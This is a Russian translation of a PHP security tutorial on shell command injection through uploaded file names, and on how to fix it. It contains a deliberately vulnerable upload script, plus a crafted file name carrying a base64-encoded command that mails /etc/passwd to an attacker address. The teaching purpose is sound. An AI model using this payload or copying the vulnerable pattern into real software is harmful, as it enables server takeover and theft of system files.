Безопасность в PHP, Часть II
Автор: John Coggeshall
Автор перевода: Данил Миронов
Источник: detail.phpclub.net
Выполнение системных
вызовов из PHP-скриптов
В PHP предусмотрено несколько средств для выполнения
системных вызовов. Ну а если подробнее, то system(),
exec(), passthru(), popen()
и оператор обратная кавычка
[backtick] (`
) позволяют выполнять команды
операционной системы непосредственно из PHP-скрипта. И каждая
из перечисленных функций при неадекватном использовании может
предоставить злоумышленнику огромные возможности исполнения
системных команд на вашем сервере. Как это было и в случае с
доступом к файлам, большинство дыр появляется, когда текст
команды составляется на основе небезопасных данных, полученных
со стороны.
Пример скрипта,
содержащего системный вызов
Представим себе скрипт, который получает файл, загруженный
на сервер по http [upload-файл], сжимает с помощью zip
, а потом перемещает его в определённую
директорию (по умолчанию это /usr/local/archives/
). Вот код:
<?php
$zip = "/usr/bin/zip";
$store_path = "/usr/local/archives/";
if
(isset($_FILES['file']))
{
$tmp_name = $_FILES['file']['tmp_name'];
$cmp_name = dirname($_FILES['file']['tmp_name'])
.
"/{$_FILES['file']['name']}.zip";
$filename = basename($cmp_name);
if
(file_exists($tmp_name))
{
$systemcall = "$zip $cmp_name $tmp_name";
$output = `$systemcall`;
if
(file_exists($cmp_name))
{
$savepath = $store_path.$filename;
rename($cmp_name, $savepath);
}
}
}
?>
<form
enctype="multipart/form-data" action="<?php
php echo $_SERVER['PHP_SELF'];
?>"
method="POST">
<input type="HIDDEN"
name="MAX_FILE_SIZE" value="1048576">
File to compress:
<input name="file" type="file"><br />
<input
type="submit" value="Compress
File">
</form>
Несмотря на кажущуюся прозрачность скрипта, злоумышленник
может использовать его в своих целях аж несколькими способами.
Самое опасное место - там, где мы исполняем команду сжатия
файла (обратная кавычка), а именно следующие строки:
<?php
if (isset($_FILES['file']))
{
$tmp_name = $_FILES['file']['tmp_name'];
$cmp_name = dirname($_FILES['file']['tmp_name'])
.
"/{$_FILES['file']['name']}.zip";
$filename = basename($cmp_name);
if
(file_exists($tmp_name))
{
$systemcall = "$zip $cmp_name $tmp_name";
$output = `$systemcall`;
Как обмануть скрипт и
заставить его исполнять различные shell-команды
Итак, безобидность скрипта обманчива: любой пользователь,
который может upload-ить файл, может и исполнять любые
команды! Эта дыра в безопасности обязана своим появлением
тому, как задаётся значение переменной $cmp_name
.
Поскольку в данном конкретном случае разработчик захотел,
чтобы имя сжатого файла содержало имя upload-файла (плюс
расширение .zip
), было использовано значение
переменной $_FILES['file']['name']
(содержащей
имя upload-файла, каким оно было на клиентской машине). И вот
именно в этом случае злоумышленник может полностью изменить
поведения скрипта: он может загрузить файл с именем,
содержащим специальные символы, интерпретируемых ОС. Например,
что случится, если пользователь создаст пустой файл таким
манером (из командной строки UNIX)?
[user@localhost]# touch ";php -r
'\$code=base64_decode(\\
\"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==\\\");
system(\$code);';"
Эта команда создаст файл с таким именем:
;php -r
'$code=base64_decode(
\"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==\");
system($code);';
Странное имя, да? Правильно, это "имя" похоже на текст
некой команды CLI версии PHP; команда эта выполняет следующий
код:
<?php
$code=base64_decode("bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==");
system($code);
?>
Если вы, из любопытства, выведете значение переменной $code
, то увидите, что оно равно mail
baduser@somewhere.com < /etc/passwd
. И если
пользователь загрузит этот файл, и наш PHP-скрипт займётся им,
то когда скрипт начнёт выполнять системный вызов для сжатия
файла, то на самом деле он выполнит следующую команду:
/usr/bin/zip /tmp/;php
-r
'$code=base64_decode(
\"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==\");
system($code);';.zip
/tmp/phpY4iatI
Вот и всё, то, что вы сейчас увидели, уже не одна, а три
команды! Как только оболочка проинтерпретирует точку с запятой
(;), означающей (поскольку не заключена в кавычки) конец одной
команды и начало другой, тогда PHP-функция system()
на самом деле выполнит это:
[user@localhost]# /usr/bin/zip
/tmp/
[user@localhost]# php
-r
'$code=base64_decode(
\"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==\");
system($code);'
[user@localhost]#
.zip /tmp/phpY4iatI
Как вы видите, вроде бы безобидный PHP-скрипт предоставил
возможность исполнения различных системных команд, в том числе
и исполнение других PHP-скриптов! Конечно, этот пример
сработает только на системах, где пользователь, от имени
которого запущен web-сервер, имеет в своей PATH переменной CLI
версию PHP (а не должен бы). Однако на том же принципе можно
построить и другие способы получения подобного результата.
Как защититься от атак,
связанных с системными вызовами
Главное здесь, как и раньше, никогда не доверять данным из
внешних источников, какой бы ни был контекст их использования.
Возникает вопрос, как же избежать подобных ситуаций при работе
с системными вызовами (отказ от самих системных вызовов здесь
не рассматривается). Для борьбы с этим недугом PHP предлагает
две функции: escapeshellarg()
и escapeshellcmd()
.
Функция escapeshellarg()
предназначена для
устранения или какого-либо игнорирования потенциально опасных
символов в полученных от пользователя данных. Результат работы
функции может использоваться как аргумент к системной команде
(в нашем случае это zip
). Синтаксис функции
такой:
escapeshellarg($string)
где $string - это строка для "зачистки", а возвращаемое
значение и есть "зачищенная" строка. Функция заключает строку
в аргументе в одинарные кавычки и дезактивирует (то есть
предваряет слэшем) все одинарные кавычки, уже содержащиеся в
строке. В нашем примере, если мы добавим перед системным
вызовом две строки:
<?php
$cmp_name = escapeshellarg($cmp_name);
$tmp_name = escapeshellarg($tmp_name);
?>
то мы исключим риск того, что аргумент, передаваемый в
системную команду, будет проинтерпретирован только как
аргумент, и никак иначе, каковы бы не были данные,
предоставленные пользователем.
Функция escapeshellcmd()
похожа на свою
коллегу с тем исключением, что при "зачистке" будут
дезактивированы символы, имеющее специфическое значение для
операционной системы. В отличие от escapeshellarg()
эта функция не будет как-то
особенно обрабатывать строки с пробелами. Например, если мы
применим escapeshellcmd()
для такой строки:
$string = "'hello, world!';evilcommand"
то она станет такой:
\'hello, world\'\;evilcommand
Это может привести к нежелательному результату, если строка
будет использована в качестве аргумента к системной команде,
поскольку интерпретатор будет воспринимать нашу строку как два
аргумента, \'hello
и world\'\;evilcommand
, соответственно. Итак, если
данные, предоставленные пользователем, будут использоваться в
качестве части списка аргументов, то функция escapeshellarg()
предпочтительнее.
Защита upload-файлов
До данного момента я говорил только о том, как
злоумышленники могут компрометировать системные вызовы в
PHP-скриптах. Однако в нашем примере есть ещё одна
потенциальная дыра в безопасности, и о ней также стОит
упомянуть. Вернёмся к нашему коду и изучим внимательно эти
строки:
<?php
$tmp_name = $_FILES['file']['tmp_name'];
$cmp_name = dirname($_FILES['file']['tmp_name'])
.
"/{$_FILES['file']['name']}.zip";
$filename = basename($cmp_name);
if (file_exists($tmp_name)) {
?>
Итак, потенциально опасный код находится в самой последней
строке приведённого отрезка. В ней мы проверяем, существует ли
upload-файл (который хранится под временным именем, $tmp_name
). Опасность здесь исходит не от самого
PHP, а от возможности того, что файл под именем $tmp_name
вовсе не был загружен пользователем, а
как-либо указывает на файл, который злоумышленник хочет
заполучить, ну скажем, /etc/passwd
. Чтобы
избежать подобных ситуаций, PHP предлагает функцию is_uploaded_file()
. Работа этой функции похожа на
действие функции file_exists()
за тем лишь
исключением, что в данном случае проводится дополнительная
проверка того, был ли данный файл действительно загружен с
клиентской машины.
Поскольку, в большинстве случаев вам нужно куда-либо
переместить upload-файл, то в дополнение к функции is_uploaded_file()
в PHP есть функция move_uploaded_file()
. Работает она также, как и rename()
при перемещении файлов за тем лишь
исключением, что в данном случае перед исполнением проводится
дополнительная проверка того, что перемещаемый файл
действительно был загружен с клиентской машины. Синтаксис
функции move_uploaded_file()
такой:
move_uploaded_file($filename, $destination);
При вызове эта функция переместит upload-файл $filename
в $destination
и возвратит
значение типа Boolean, которое проинформирует об успешном или
неуспешном завершении операции.